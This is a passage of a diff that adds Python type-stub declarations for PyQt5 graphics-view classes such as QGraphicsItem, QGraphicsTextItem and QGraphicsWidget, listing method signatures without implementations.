float, ay: float, w: float, h: float) -> QtCore.QRectF: ... + @typing.overload + def mapRectToScene(self, rect: QtCore.QRectF) -> QtCore.QRectF: ... + @typing.overload + def mapRectToScene(self, ax: float, ay: float, w: float, h: float) -> QtCore.QRectF: ... + @typing.overload + def mapRectToParent(self, rect: QtCore.QRectF) -> QtCore.QRectF: ... + @typing.overload + def mapRectToParent(self, ax: float, ay: float, w: float, h: float) -> QtCore.QRectF: ... + @typing.overload + def mapRectToItem(self, item: 'QGraphicsItem', rect: QtCore.QRectF) -> QtCore.QRectF: ... + @typing.overload + def mapRectToItem(self, item: 'QGraphicsItem', ax: float, ay: float, w: float, h: float) -> QtCore.QRectF: ... + def clipPath(self) -> QtGui.QPainterPath: ... + def isClipped(self) -> bool: ... + def itemTransform(self, other: 'QGraphicsItem') -> typing.Tuple[QtGui.QTransform, bool]: ... + def setOpacity(self, opacity: float) -> None: ... + def effectiveOpacity(self) -> float: ... + def opacity(self) -> float: ... + def isUnderMouse(self) -> bool: ... + def commonAncestorItem(self, other: 'QGraphicsItem') -> 'QGraphicsItem': ... + def scroll(self, dx: float, dy: float, rect: QtCore.QRectF = ...) -> None: ... + def setBoundingRegionGranularity(self, granularity: float) -> None: ... + def boundingRegionGranularity(self) -> float: ... + def boundingRegion(self, itemToDeviceTransform: QtGui.QTransform) -> QtGui.QRegion: ... + def ungrabKeyboard(self) -> None: ... + def grabKeyboard(self) -> None: ... + def ungrabMouse(self) -> None: ... + def grabMouse(self) -> None: ... + def setAcceptHoverEvents(self, enabled: bool) -> None: ... + def acceptHoverEvents(self) -> bool: ... + def isVisibleTo(self, parent: 'QGraphicsItem') -> bool: ... + def setCacheMode(self, mode: 'QGraphicsItem.CacheMode', logicalCacheSize: QtCore.QSize = ...) -> None: ... + def cacheMode(self) -> 'QGraphicsItem.CacheMode': ... + def isWindow(self) -> bool: ... + def isWidget(self) -> bool: ... + def childItems(self) -> typing.List['QGraphicsItem']: ... + def window(self) -> 'QGraphicsWidget': ... + def topLevelWidget(self) -> 'QGraphicsWidget': ... + def parentWidget(self) -> 'QGraphicsWidget': ... + @typing.overload + def isObscured(self, rect: QtCore.QRectF = ...) -> bool: ... + @typing.overload + def isObscured(self, ax: float, ay: float, w: float, h: float) -> bool: ... + def resetTransform(self) -> None: ... + def setTransform(self, matrix: QtGui.QTransform, combine: bool = ...) -> None: ... + def deviceTransform(self, viewportTransform: QtGui.QTransform) -> QtGui.QTransform: ... + def sceneTransform(self) -> QtGui.QTransform: ... + def transform(self) -> QtGui.QTransform: ... + def wheelEvent(self, event: 'QGraphicsSceneWheelEvent') -> None: ... + def sceneEventFilter(self, watched: 'QGraphicsItem', event: QtCore.QEvent) -> bool: ... + def sceneEvent(self, event: QtCore.QEvent) -> bool: ... + def prepareGeometryChange(self) -> None: ... + def mouseReleaseEvent(self, event: 'QGraphicsSceneMouseEvent') -> None: ... + def mousePressEvent(self, event: 'QGraphicsSceneMouseEvent') -> None: ... + def mouseMoveEvent(self, event: 'QGraphicsSceneMouseEvent') -> None: ... + def mouseDoubleClickEvent(self, event: 'QGraphicsSceneMouseEvent') -> None: ... + def keyReleaseEvent(self, event: QtGui.QKeyEvent) -> None: ... + def keyPressEvent(self, event: QtGui.QKeyEvent) -> None: ... + def itemChange(self, change: 'QGraphicsItem.GraphicsItemChange', value: typing.Any) -> typing.Any: ... + def inputMethodQuery(self, query: QtCore.Qt.InputMethodQuery) -> typing.Any: ... + def inputMethodEvent(self, event: QtGui.QInputMethodEvent) -> None: ... + def hoverMoveEvent(self, event: 'QGraphicsSceneHoverEvent') -> None: ... + def hoverLeaveEvent(self, event: 'QGraphicsSceneHoverEvent') -> None: ... + def hoverEnterEvent(self, event: 'QGraphicsSceneHoverEvent') -> None: ... + def focusOutEvent(self, event: QtGui.QFocusEvent) -> None: ... + def focusInEvent(self, event: QtGui.QFocusEvent) -> None: ... + def dropEvent(self, event: 'QGraphicsSceneDragDropEvent') -> None: ... + def dragMoveEvent(self, event: 'QGraphicsSceneDragDropEvent') -> None: ... + def dragLeaveEvent(self, event: 'QGraphicsSceneDragDropEvent') -> None: ... + def dragEnterEvent(self, event: 'QGraphicsSceneDragDropEvent') -> None: ... + def contextMenuEvent(self, event: 'QGraphicsSceneContextMenuEvent') -> None: ... + def removeSceneEventFilter(self, filterItem: 'QGraphicsItem') -> None: ... + def installSceneEventFilter(self, filterItem: 'QGraphicsItem') -> None: ... + def type(self) -> int: ... + def setData(self, key: int, value: typing.Any) -> None: ... + def data(self, key: int) -> typing.Any: ... + def isAncestorOf(self, child: 'QGraphicsItem') -> bool: ... + @typing.overload + def mapFromScene(self, point: typing.Union[QtCore.QPointF, QtCore.QPoint]) -> QtCore.QPointF: ... + @typing.overload + def mapFromScene(self, rect: QtCore.QRectF) -> QtGui.QPolygonF: ... + @typing.overload + def mapFromScene(self, polygon: QtGui.QPolygonF) -> QtGui.QPolygonF: ... + @typing.overload + def mapFromScene(self, path: QtGui.QPainterPath) -> QtGui.QPainterPath: ... + @typing.overload + def mapFromScene(self, ax: float, ay: float) -> QtCore.QPointF: ... + @typing.overload + def mapFromScene(self, ax: float, ay: float, w: float, h: float) -> QtGui.QPolygonF: ... + @typing.overload + def mapFromParent(self, point: typing.Union[QtCore.QPointF, QtCore.QPoint]) -> QtCore.QPointF: ... + @typing.overload + def mapFromParent(self, rect: QtCore.QRectF) -> QtGui.QPolygonF: ... + @typing.overload + def mapFromParent(self, polygon: QtGui.QPolygonF) -> QtGui.QPolygonF: ... + @typing.overload + def mapFromParent(self, path: QtGui.QPainterPath) -> QtGui.QPainterPath: ... + @typing.overload + def mapFromParent(self, ax: float, ay: float) -> QtCore.QPointF: ... + @typing.overload + def mapFromParent(self, ax: float, ay: float, w: float, h: float) -> QtGui.QPolygonF: ... + @typing.overload + def mapFromItem(self, item: 'QGraphicsItem', point: typing.Union[QtCore.QPointF, QtCore.QPoint]) -> QtCore.QPointF: ... + @typing.overload + def mapFromItem(self, item: 'QGraphicsItem', rect: QtCore.QRectF) -> QtGui.QPolygonF: ... + @typing.overload + def mapFromItem(self, item: 'QGraphicsItem', polygon: QtGui.QPolygonF) -> QtGui.QPolygonF: ... + @typing.overload + def mapFromItem(self, item: 'QGraphicsItem', path: QtGui.QPainterPath) -> QtGui.QPainterPath: ... + @typing.overload + def mapFromItem(self, item: 'QGraphicsItem', ax: float, ay: float) -> QtCore.QPointF: ... + @typing.overload + def mapFromItem(self, item: 'QGraphicsItem', ax: float, ay: float, w: float, h: float) -> QtGui.QPolygonF: ... + @typing.overload + def mapToScene(self, point: typing.Union[QtCore.QPointF, QtCore.QPoint]) -> QtCore.QPointF: ... + @typing.overload + def mapToScene(self, rect: QtCore.QRectF) -> QtGui.QPolygonF: ... + @typing.overload + def mapToScene(self, polygon: QtGui.QPolygonF) -> QtGui.QPolygonF: ... + @typing.overload + def mapToScene(self, path: QtGui.QPainterPath) -> QtGui.QPainterPath: ... + @typing.overload + def mapToScene(self, ax: float, ay: float) -> QtCore.QPointF: ... + @typing.overload + def mapToScene(self, ax: float, ay: float, w: float, h: float) -> QtGui.QPolygonF: ... + @typing.overload + def mapToParent(self, point: typing.Union[QtCore.QPointF, QtCore.QPoint]) -> QtCore.QPointF: ... + @typing.overload + def mapToParent(self, rect: QtCore.QRectF) -> QtGui.QPolygonF: ... + @typing.overload + def mapToParent(self, polygon: QtGui.QPolygonF) -> QtGui.QPolygonF: ... + @typing.overload + def mapToParent(self, path: QtGui.QPainterPath) -> QtGui.QPainterPath: ... + @typing.overload + def mapToParent(self, ax: float, ay: float) -> QtCore.QPointF: ... + @typing.overload + def mapToParent(self, ax: float, ay: float, w: float, h: float) -> QtGui.QPolygonF: ... + @typing.overload + def mapToItem(self, item: 'QGraphicsItem', point: typing.Union[QtCore.QPointF, QtCore.QPoint]) -> QtCore.QPointF: ... + @typing.overload + def mapToItem(self, item: 'QGraphicsItem', rect: QtCore.QRectF) -> QtGui.QPolygonF: ... + @typing.overload + def mapToItem(self, item: 'QGraphicsItem', polygon: QtGui.QPolygonF) -> QtGui.QPolygonF: ... + @typing.overload + def mapToItem(self, item: 'QGraphicsItem', path: QtGui.QPainterPath) -> QtGui.QPainterPath: ... + @typing.overload + def mapToItem(self, item: 'QGraphicsItem', ax: float, ay: float) -> QtCore.QPointF: ... + @typing.overload + def mapToItem(self, item: 'QGraphicsItem', ax: float, ay: float, w: float, h: float) -> QtGui.QPolygonF: ... + @typing.overload + def update(self, rect: QtCore.QRectF = ...) -> None: ... + @typing.overload + def update(self, ax: float, ay: float, width: float, height: float) -> None: ... + def paint(self, painter: QtGui.QPainter, option: 'QStyleOptionGraphicsItem', widget: typing.Optional[QWidget] = ...) -> None: ... + def opaqueArea(self) -> QtGui.QPainterPath: ... + def isObscuredBy(self, item: 'QGraphicsItem') -> bool: ... + def collidingItems(self, mode: QtCore.Qt.ItemSelectionMode = ...) -> typing.List['QGraphicsItem']: ... + def collidesWithPath(self, path: QtGui.QPainterPath, mode: QtCore.Qt.ItemSelectionMode = ...) -> bool: ... + def collidesWithItem(self, other: 'QGraphicsItem', mode: QtCore.Qt.ItemSelectionMode = ...) -> bool: ... + def contains(self, point: typing.Union[QtCore.QPointF, QtCore.QPoint]) -> bool: ... + def shape(self) -> QtGui.QPainterPath: ... + def sceneBoundingRect(self) -> QtCore.QRectF: ... + def childrenBoundingRect(self) -> QtCore.QRectF: ... + def boundingRect(self) -> QtCore.QRectF: ... + def setZValue(self, z: float) -> None: ... + def zValue(self) -> float: ... + def advance(self, phase: int) -> None: ... + @typing.overload + def ensureVisible(self, rect: QtCore.QRectF = ..., xMargin: int = ..., yMargin: int = ...) -> None: ... + @typing.overload + def ensureVisible(self, x: float, y: float, w: float, h: float, xMargin: int = ..., yMargin: int = ...) -> None: ... + def moveBy(self, dx: float, dy: float) -> None: ... + @typing.overload + def setPos(self, pos: typing.Union[QtCore.QPointF, QtCore.QPoint]) -> None: ... + @typing.overload + def setPos(self, ax: float, ay: float) -> None: ... + def scenePos(self) -> QtCore.QPointF: ... + def y(self) -> float: ... + def x(self) -> float: ... + def pos(self) -> QtCore.QPointF: ... + def clearFocus(self) -> None: ... + def setFocus(self, focusReason: QtCore.Qt.FocusReason = ...) -> None: ... + def hasFocus(self) -> bool: ... + def setAcceptedMouseButtons(self, buttons: typing.Union[QtCore.Qt.MouseButtons, QtCore.Qt.MouseButton]) -> None: ... + def acceptedMouseButtons(self) -> QtCore.Qt.MouseButtons: ... + def setAcceptDrops(self, on: bool) -> None: ... + def acceptDrops(self) -> bool: ... + def setSelected(self, selected: bool) -> None: ... + def isSelected(self) -> bool: ... + def setEnabled(self, enabled: bool) -> None: ... + def isEnabled(self) -> bool: ... + def show(self) -> None: ... + def hide(self) -> None: ... + def setVisible(self, visible: bool) -> None: ... + def isVisible(self) -> bool: ... + def unsetCursor(self) -> None: ... + def hasCursor(self) -> bool: ... + def setCursor(self, cursor: typing.Union[QtGui.QCursor, QtCore.Qt.CursorShape]) -> None: ... + def cursor(self) -> QtGui.QCursor: ... + def setToolTip(self, toolTip: str) -> None: ... + def toolTip(self) -> str: ... + def setFlags(self, flags: typing.Union['QGraphicsItem.GraphicsItemFlags', 'QGraphicsItem.GraphicsItemFlag']) -> None: ... + def setFlag(self, flag: 'QGraphicsItem.GraphicsItemFlag', enabled: bool = ...) -> None: ... + def flags(self) -> 'QGraphicsItem.GraphicsItemFlags': ... + def setGroup(self, group: 'QGraphicsItemGroup') -> None: ... + def group(self) -> 'QGraphicsItemGroup': ... + def setParentItem(self, parent: 'QGraphicsItem') -> None: ... + def topLevelItem(self) -> 'QGraphicsItem': ... + def parentItem(self) -> 'QGraphicsItem': ... + def scene(self) -> 'QGraphicsScene': ... + + +class QAbstractGraphicsShapeItem(QGraphicsItem): + + def __init__(self, parent: typing.Optional[QGraphicsItem] = ...) -> None: ... + + def opaqueArea(self) -> QtGui.QPainterPath: ... + def isObscuredBy(self, item: QGraphicsItem) -> bool: ... + def setBrush(self, brush: typing.Union[QtGui.QBrush, QtGui.QColor, QtCore.Qt.GlobalColor, QtGui.QGradient]) -> None: ... + def brush(self) -> QtGui.QBrush: ... + def setPen(self, pen: typing.Union[QtGui.QPen, QtGui.QColor, QtCore.Qt.GlobalColor, QtGui.QGradient]) -> None: ... + def pen(self) -> QtGui.QPen: ... + + +class QGraphicsPathItem(QAbstractGraphicsShapeItem): + + @typing.overload + def __init__(self, parent: typing.Optional[QGraphicsItem] = ...) -> None: ... + @typing.overload + def __init__(self, path: QtGui.QPainterPath, parent: typing.Optional[QGraphicsItem] = ...) -> None: ... + + def type(self) -> int: ... + def opaqueArea(self) -> QtGui.QPainterPath: ... + def isObscuredBy(self, item: QGraphicsItem) -> bool: ... + def paint(self, painter: QtGui.QPainter, option: 'QStyleOptionGraphicsItem', widget: typing.Optional[QWidget] = ...) -> None: ... + def contains(self, point: typing.Union[QtCore.QPointF, QtCore.QPoint]) -> bool: ... + def shape(self) -> QtGui.QPainterPath: ... + def boundingRect(self) -> QtCore.QRectF: ... + def setPath(self, path: QtGui.QPainterPath) -> None: ... + def path(self) -> QtGui.QPainterPath: ... + + +class QGraphicsRectItem(QAbstractGraphicsShapeItem): + + @typing.overload + def __init__(self, parent: typing.Optional[QGraphicsItem] = ...) -> None: ... + @typing.overload + def __init__(self, rect: QtCore.QRectF, parent: typing.Optional[QGraphicsItem] = ...) -> None: ... + @typing.overload + def __init__(self, x: float, y: float, w: float, h: float, parent: typing.Optional[QGraphicsItem] = ...) -> None: ... + + def type(self) -> int: ... + def opaqueArea(self) -> QtGui.QPainterPath: ... + def isObscuredBy(self, item: QGraphicsItem) -> bool: ... + def paint(self, painter: QtGui.QPainter, option: 'QStyleOptionGraphicsItem', widget: typing.Optional[QWidget] = ...) -> None: ... + def contains(self, point: typing.Union[QtCore.QPointF, QtCore.QPoint]) -> bool: ... + def shape(self) -> QtGui.QPainterPath: ... + def boundingRect(self) -> QtCore.QRectF: ... + @typing.overload + def setRect(self, rect: QtCore.QRectF) -> None: ... + @typing.overload + def setRect(self, ax: float, ay: float, w: float, h: float) -> None: ... + def rect(self) -> QtCore.QRectF: ... + + +class QGraphicsEllipseItem(QAbstractGraphicsShapeItem): + + @typing.overload + def __init__(self, parent: typing.Optional[QGraphicsItem] = ...) -> None: ... + @typing.overload + def __init__(self, rect: QtCore.QRectF, parent: typing.Optional[QGraphicsItem] = ...) -> None: ... + @typing.overload + def __init__(self, x: float, y: float, w: float, h: float, parent: typing.Optional[QGraphicsItem] = ...) -> None: ... + + def type(self) -> int: ... + def opaqueArea(self) -> QtGui.QPainterPath: ... + def isObscuredBy(self, item: QGraphicsItem) -> bool: ... + def paint(self, painter: QtGui.QPainter, option: 'QStyleOptionGraphicsItem', widget: typing.Optional[QWidget] = ...) -> None: ... + def contains(self, point: typing.Union[QtCore.QPointF, QtCore.QPoint]) -> bool: ... + def shape(self) -> QtGui.QPainterPath: ... + def boundingRect(self) -> QtCore.QRectF: ... + def setSpanAngle(self, angle: int) -> None: ... + def spanAngle(self) -> int: ... + def setStartAngle(self, angle: int) -> None: ... + def startAngle(self) -> int: ... + @typing.overload + def setRect(self, rect: QtCore.QRectF) -> None: ... + @typing.overload + def setRect(self, ax: float, ay: float, w: float, h: float) -> None: ... + def rect(self) -> QtCore.QRectF: ... + + +class QGraphicsPolygonItem(QAbstractGraphicsShapeItem): + + @typing.overload + def __init__(self, parent: typing.Optional[QGraphicsItem] = ...) -> None: ... + @typing.overload + def __init__(self, polygon: QtGui.QPolygonF, parent: typing.Optional[QGraphicsItem] = ...) -> None: ... + + def type(self) -> int: ... + def opaqueArea(self) -> QtGui.QPainterPath: ... + def isObscuredBy(self, item: QGraphicsItem) -> bool: ... + def paint(self, painter: QtGui.QPainter, option: 'QStyleOptionGraphicsItem', widget: typing.Optional[QWidget] = ...) -> None: ... + def contains(self, point: typing.Union[QtCore.QPointF, QtCore.QPoint]) -> bool: ... + def shape(self) -> QtGui.QPainterPath: ... + def boundingRect(self) -> QtCore.QRectF: ... + def setFillRule(self, rule: QtCore.Qt.FillRule) -> None: ... + def fillRule(self) -> QtCore.Qt.FillRule: ... + def setPolygon(self, polygon: QtGui.QPolygonF) -> None: ... + def polygon(self) -> QtGui.QPolygonF: ... + + +class QGraphicsLineItem(QGraphicsItem): + + @typing.overload + def __init__(self, parent: typing.Optional[QGraphicsItem] = ...) -> None: ... + @typing.overload + def __init__(self, line: QtCore.QLineF, parent: typing.Optional[QGraphicsItem] = ...) -> None: ... + @typing.overload + def __init__(self, x1: float, y1: float, x2: float, y2: float, parent: typing.Optional[QGraphicsItem] = ...) -> None: ... + + def type(self) -> int: ... + def opaqueArea(self) -> QtGui.QPainterPath: ... + def isObscuredBy(self, item: QGraphicsItem) -> bool: ... + def paint(self, painter: QtGui.QPainter, option: 'QStyleOptionGraphicsItem', widget: typing.Optional[QWidget] = ...) -> None: ... + def contains(self, point: typing.Union[QtCore.QPointF, QtCore.QPoint]) -> bool: ... + def shape(self) -> QtGui.QPainterPath: ... + def boundingRect(self) -> QtCore.QRectF: ... + @typing.overload + def setLine(self, line: QtCore.QLineF) -> None: ... + @typing.overload + def setLine(self, x1: float, y1: float, x2: float, y2: float) -> None: ... + def line(self) -> QtCore.QLineF: ... + def setPen(self, pen: typing.Union[QtGui.QPen, QtGui.QColor, QtCore.Qt.GlobalColor, QtGui.QGradient]) -> None: ... + def pen(self) -> QtGui.QPen: ... + + +class QGraphicsPixmapItem(QGraphicsItem): + + class ShapeMode(int): + MaskShape = ... # type: QGraphicsPixmapItem.ShapeMode + BoundingRectShape = ... # type: QGraphicsPixmapItem.ShapeMode + HeuristicMaskShape = ... # type: QGraphicsPixmapItem.ShapeMode + + @typing.overload + def __init__(self, parent: typing.Optional[QGraphicsItem] = ...) -> None: ... + @typing.overload + def __init__(self, pixmap: QtGui.QPixmap, parent: typing.Optional[QGraphicsItem] = ...) -> None: ... + + def setShapeMode(self, mode: 'QGraphicsPixmapItem.ShapeMode') -> None: ... + def shapeMode(self) -> 'QGraphicsPixmapItem.ShapeMode': ... + def type(self) -> int: ... + def opaqueArea(self) -> QtGui.QPainterPath: ... + def isObscuredBy(self, item: QGraphicsItem) -> bool: ... + def paint(self, painter: QtGui.QPainter, option: 'QStyleOptionGraphicsItem', widget: QWidget) -> None: ... + def contains(self, point: typing.Union[QtCore.QPointF, QtCore.QPoint]) -> bool: ... + def shape(self) -> QtGui.QPainterPath: ... + def boundingRect(self) -> QtCore.QRectF: ... + @typing.overload + def setOffset(self, offset: typing.Union[QtCore.QPointF, QtCore.QPoint]) -> None: ... + @typing.overload + def setOffset(self, ax: float, ay: float) -> None: ... + def offset(self) -> QtCore.QPointF: ... + def setTransformationMode(self, mode: QtCore.Qt.TransformationMode) -> None: ... + def transformationMode(self) -> QtCore.Qt.TransformationMode: ... + def setPixmap(self, pixmap: QtGui.QPixmap) -> None: ... + def pixmap(self) -> QtGui.QPixmap: ... + + +class QGraphicsSimpleTextItem(QAbstractGraphicsShapeItem): + + @typing.overload + def __init__(self, parent: typing.Optional[QGraphicsItem] = ...) -> None: ... + @typing.overload + def __init__(self, text: str, parent: typing.Optional[QGraphicsItem] = ...) -> None: ... + + def type(self) -> int: ... + def opaqueArea(self) -> QtGui.QPainterPath: ... + def isObscuredBy(self, item: QGraphicsItem) -> bool: ... + def paint(self, painter: QtGui.QPainter, option: 'QStyleOptionGraphicsItem', widget: QWidget) -> None: ... + def contains(self, point: typing.Union[QtCore.QPointF, QtCore.QPoint]) -> bool: ... + def shape(self) -> QtGui.QPainterPath: ... + def boundingRect(self) -> QtCore.QRectF: ... + def font(self) -> QtGui.QFont: ... + def setFont(self, font: QtGui.QFont) -> None: ... + def text(self) -> str: ... + def setText(self, text: str) -> None: ... + + +class QGraphicsItemGroup(QGraphicsItem): + + def __init__(self, parent: typing.Optional[QGraphicsItem] = ...) -> None: ... + + def type(self) -> int: ... + def opaqueArea(self) -> QtGui.QPainterPath: ... + def isObscuredBy(self, item: QGraphicsItem) -> bool: ... + def paint(self, painter: QtGui.QPainter, option: 'QStyleOptionGraphicsItem', widget: typing.Optional[QWidget] = ...) -> None: ... + def boundingRect(self) -> QtCore.QRectF: ... + def removeFromGroup(self, item: QGraphicsItem) -> None: ... + def addToGroup(self, item: QGraphicsItem) -> None: ... + + +class QGraphicsObject(QtCore.QObject, QGraphicsItem): + + def __init__(self, parent: typing.Optional[QGraphicsItem] = ...) -> None: ... + + def event(self, ev: QtCore.QEvent) -> bool: ... + def updateMicroFocus(self) -> None: ... + def scaleChanged(self) -> None: ... + def rotationChanged(self) -> None: ... + def zChanged(self) -> None: ... + def yChanged(self) -> None: ... + def xChanged(self) -> None: ... + def enabledChanged(self) -> None: ... + def visibleChanged(self) -> None: ... + def opacityChanged(self) -> None: ... + def parentChanged(self) -> None: ... + def ungrabGesture(self, type: QtCore.Qt.GestureType) -> None: ... + def grabGesture(self, type: QtCore.Qt.GestureType, flags: typing.Union[QtCore.Qt.GestureFlags, QtCore.Qt.GestureFlag] = ...) -> None: ... + + +class QGraphicsTextItem(QGraphicsObject): + + @typing.overload + def __init__(self, parent: typing.Optional[QGraphicsItem] = ...) -> None: ... + @typing.overload + def __init__(self, text: str, parent: typing.Optional[QGraphicsItem] = ...) -> None: ... + + def inputMethodQuery(self, query: QtCore.Qt.InputMethodQuery) -> typing.Any: ... + def hoverLeaveEvent(self, event: 'QGraphicsSceneHoverEvent') -> None: ... + def hoverMoveEvent(self, event: 'QGraphicsSceneHoverEvent') -> None: ... + def hoverEnterEvent(self, event: 'QGraphicsSceneHoverEvent') -> None: ... + def inputMethodEvent(self, event: QtGui.QInputMethodEvent) -> None: ... + def dropEvent(self, event: 'QGraphicsSceneDragDropEvent') -> None: ... + def dragMoveEvent(self, event: 'QGraphicsSceneDragDropEvent') -> None: ... + def dragLeaveEvent(self, event: 'QGraphicsSceneDragDropEvent') -> None: ... + def dragEnterEvent(self, event: 'QGraphicsSceneDragDropEvent') -> None: ... + def focusOutEvent(self, event: QtGui.QFocusEvent) -> None: ... + def focusInEvent(self, event: QtGui.QFocusEvent) -> None: ... + def keyReleaseEvent(self, event: QtGui.QKeyEvent) -> None: ... + def keyPressEvent(self, event: QtGui.QKeyEvent) -> None: ... + def contextMenuEvent(self, event: 'QGraphicsSceneContextMenuEvent') -> None: ... + def mouseDoubleClickEvent(self, event: 'QGraphicsSceneMouseEvent') -> None: ... + def mouseReleaseEvent(self, event: 'QGraphicsSceneMouseEvent') -> None: ... + def mouseMoveEvent(self, event: 'QGraphicsSceneMouseEvent') -> None: ... + def mousePressEvent(self, event: 'QGraphicsSceneMouseEvent') -> None: ... + def sceneEvent(self, event: QtCore.QEvent) -> bool: ... + def linkHovered(self, a0: str) -> None: ... + def linkActivated(self, a0: str) -> None: ... + def textCursor(self) -> QtGui.QTextCursor: ... + def setTextCursor(self, cursor: QtGui.QTextCursor) -> None: ... + def openExternalLinks(self) -> bool: ... + def setOpenExternalLinks(self, open: bool) -> None: ... + def tabChangesFocus(self) -> bool: ... + def setTabChangesFocus(self, b: bool) -> None: ... + def textInteractionFlags(self) -> QtCore.Qt.TextInteractionFlags: ... + def setTextInteractionFlags(self, flags: typing.Union[QtCore.Qt.TextInteractionFlags, QtCore.Qt.TextInteractionFlag]) -> None: ... + def document(self) -> QtGui.QTextDocument: ... + def setDocument(self, document: QtGui.QTextDocument) -> None: ... + def adjustSize(self) -> None: ... + def textWidth(self) -> float: ... + def setTextWidth(self, width: float) -> None: ... + def type(self) -> int: ... + def opaqueArea(self) -> QtGui.QPainterPath: ... + def isObscuredBy(self, item: QGraphicsItem) -> bool: ... + def paint(self, painter: QtGui.QPainter, option: 'QStyleOptionGraphicsItem', widget: QWidget) -> None: ... + def contains(self, point: typing.Union[QtCore.QPointF, QtCore.QPoint]) -> bool: ... + def shape(self) -> QtGui.QPainterPath: ... + def boundingRect(self) -> QtCore.QRectF: ... + def defaultTextColor(self) -> QtGui.QColor: ... + def setDefaultTextColor(self, c: typing.Union[QtGui.QColor, QtCore.Qt.GlobalColor, QtGui.QGradient]) -> None: ... + def setFont(self, font: QtGui.QFont) -> None: ... + def font(self) -> QtGui.QFont: ... + def setPlainText(self, text: str) -> None: ... + def toPlainText(self) -> str: ... + def setHtml(self, html: str) -> None: ... + def toHtml(self) -> str: ... + + +class QGraphicsLinearLayout(QGraphicsLayout): + + @typing.overload + def __init__(self, parent: typing.Optional[QGraphicsLayoutItem] = ...) -> None: ... + @typing.overload + def __init__(self, orientation: QtCore.Qt.Orientation, parent: typing.Optional[QGraphicsLayoutItem] = ...) -> None: ... + + def sizeHint(self, which: QtCore.Qt.SizeHint, constraint: QtCore.QSizeF = ...) -> QtCore.QSizeF: ... + def invalidate(self) -> None: ... + def itemAt(self, index: int) -> QGraphicsLayoutItem: ... + def count(self) -> int: ... + def setGeometry(self, rect: QtCore.QRectF) -> None: ... + def alignment(self, item: QGraphicsLayoutItem) -> QtCore.Qt.Alignment: ... + def setAlignment(self, item: QGraphicsLayoutItem, alignment: typing.Union[QtCore.Qt.Alignment, QtCore.Qt.AlignmentFlag]) -> None: ... + def stretchFactor(self, item: QGraphicsLayoutItem) -> int: ... + def setStretchFactor(self, item: QGraphicsLayoutItem, stretch: int) -> None: ... + def itemSpacing(self, index: int) -> float: ... + def setItemSpacing(self, index: int, spacing: float) -> None: ... + def spacing(self) -> float: ... + def setSpacing(self, spacing: float) -> None: ... + def removeAt(self, index: int) -> None: ... + def removeItem(self, item: QGraphicsLayoutItem) -> None: ... + def insertStretch(self, index: int, stretch: int = ...) -> None: ... + def insertItem(self, index: int, item: QGraphicsLayoutItem) -> None: ... + def addStretch(self, stretch: int = ...) -> None: ... + def addItem(self, item: QGraphicsLayoutItem) -> None: ... + def orientation(self) -> QtCore.Qt.Orientation: ... + def setOrientation(self, orientation: QtCore.Qt.Orientation) -> None: ... + + +class QGraphicsWidget(QGraphicsObject, QGraphicsLayoutItem): + + def __init__(self, parent: typing.Optional[QGraphicsItem] = ..., flags: typing.Union[QtCore.Qt.WindowFlags, QtCore.Qt.WindowType] = ...) -> None: ... + + def geometryChanged(self) -> None: ... + def setAutoFillBackground(self, enabled: bool) -> None: ... + def autoFillBackground(self) -> bool: ... + def ungrabKeyboardEvent(self, event: QtCore.QEvent) -> None: ... + def grabKeyboardEvent(self, event: QtCore.QEvent) -> None: ... + def ungrabMouseEvent(self, event: QtCore.QEvent) -> None: ... + def grabMouseEvent(self, event: QtCore.QEvent) -> None: ... + def hoverLeaveEvent(self, event: 'QGraphicsSceneHoverEvent') -> None: ... + def hoverMoveEvent(self, event: 'QGraphicsSceneHoverEvent') -> None: ... + def showEvent(self, event: QtGui.QShowEvent) -> None: ... + def resizeEvent(self, event: 'QGraphicsSceneResizeEvent') -> None: ... + def polishEvent(self) -> None: ... + def moveEvent(self, event: 'QGraphicsSceneMoveEvent') -> None: ... + def hideEvent(self, event: QtGui.QHideEvent) -> None: ... + def focusOutEvent(self, event: QtGui.QFocusEvent) -> None: ... + def focusNextPrevChild(self, next: bool) -> bool: ... + def focusInEvent(self, event: QtGui.QFocusEvent) -> None: ... + def closeEvent(self, event: QtGui.QCloseEvent) -> None: ... + def changeEvent(self, event: QtCore.QEvent) -> None: ... + def event(self, event: QtCore.QEvent) -> bool: ... + def windowFrameSectionAt(self, pos: typing.Union[QtCore.QPointF, QtCore.QPoint]) -> QtCore.Qt.WindowFrameSection: ... + def windowFrameEvent(self, e: QtCore.QEvent) -> bool: ... + def sceneEvent(self, event: QtCore.QEvent) -> bool: ... + def itemChange(self, change: QGraphicsItem.GraphicsItemChange, value: typing.Any) -> typing.Any: ... + def updateGeometry(self) -> None: ... + def sizeHint(self, which: QtCore.Qt.SizeHint, constraint: QtCore.QSizeF = ...) -> QtCore.QSizeF: ... + def initStyleOption(self, option: 'QStyleOption') -> None: ... + def close(self) -> bool: ... + def shape(self) -> QtGui.QPainterPath: ... + def boundingRect(self) -> QtCore.QRectF: ... + def paintWindowFrame(self, painter: QtGui.QPainter, option: 'QStyleOptionGraphicsItem', widget: typing.Optional[QWidget] = ...) -> None: ... + def paint(self, painter: QtGui.QPainter, option: 'QStyleOptionGraphicsItem', widget: typing.Optional[QWidget] = ...) -> None: ... + def type(self) -> int: ... + def testAttribute(self, attribute: QtCore.Qt.WidgetAttribute) -> bool: ... + def setAttribute(self, attribute: QtCore.Qt.WidgetAttribute, on: bool = ...) -> None: ... + def actions(self) -> typing.List[QAction]: ... + def removeAction(self, action: QAction) -> None: ... + def insertActions(self, before: QAction, actions: typing.Iterable[QAction]) -> None: ... + def insertAction(self, before: QAction, action: QAction) -> None: ... + def addActions(self, actions: typing.Iterable[QAction]) -> None: ... + def addAction(self, action: QAction) -> None: ... + def setShortcutAutoRepeat(self, id: int, enabled: bool = ...) -> None: ... + def setShortcutEnabled(self, id: int, enabled: bool = ...) -> None: ... + def releaseShortcut(self, id: int) -> None: ... + def grabShortcut(self, sequence: typing.Union[QtGui.QKeySequence, QtGui.QKeySequence.StandardKey, str, int], context: QtCore.Qt.ShortcutContext = ...) -> int: ... + def focusWidget(self) -> 'QGraphicsWidget': ... + @staticmethod + def setTabOrder(first: 'QGraphicsWidget', second: 'QGraphicsWidget') -> None: ... + def setFocusPolicy(self, policy: QtCore.Qt.FocusPolicy) -> None: ... + def focusPolicy(self) -> QtCore.Qt.FocusPolicy: ... + def windowTitle(self) -> str: ... + def setWindowTitle(self, title: str) -> None: ... + def isActiveWindow(self) -> bool: ... + def setWindowFlags(self, wFlags: typing.Union[QtCore.Qt.WindowFlags, QtCore.Qt.WindowType]) -> None: ... + def windowType(self) -> QtCore.Qt.WindowType: ... + def windowFlags(self) 